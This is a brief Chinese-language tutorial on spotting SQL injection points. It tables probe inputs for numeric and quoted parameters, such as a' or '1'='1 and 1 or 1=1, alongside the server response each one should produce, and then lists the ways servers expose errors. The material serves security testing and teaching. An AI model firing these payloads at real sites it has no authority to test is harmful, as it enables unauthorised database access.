1.注入點判斷
傳入SQL語句可控參數分爲兩類
1. 數字類型,參數不用被引號括起來,如?id=1
2. 其他類型,參數要被引號擴起來,如?name="phone"
判斷某個鏈接是否存在SQL注入,可以通過對其傳入的可控參數進行簡單的構造,通過服務端返回的內容來判斷有無注入
其他類型
構造測試 預期結果 變種
a' //觸發錯誤,返回數據庫錯誤
a' or '1'='1 //永真條件,返回所有記錄 a') or ('1'=1
a' or '1'='2 //空條件,返回原來相同結果 a') or ('1'=2
a' and '1'='2 //永假條件,不返回記錄 a') and ('1'='2
數字類型
構造測試 預期結果 變種
' //觸發錯誤,返回數據庫錯誤
1+1 //返回原來相同的結果 3-1
1+0 //返回原來相同的結果
1 or 1=1 //永真條件,返回所有記錄 1) or (1=1
1 or 1=2 //空條件,返回原來相同的結果 1) or (1=2
1 and 1=2 //永假條件,不返回記錄 1) and (1=2
2.服務端返回錯誤形式
- 錯誤直接回顯在頁面上
- 錯誤隱藏在頁面源代碼中
- 檢測到錯誤跳轉到另一個頁面
- 返回HTTP錯誤代碼500或重定向302
- 適當處理錯誤結果,常顯示一個通用錯誤頁面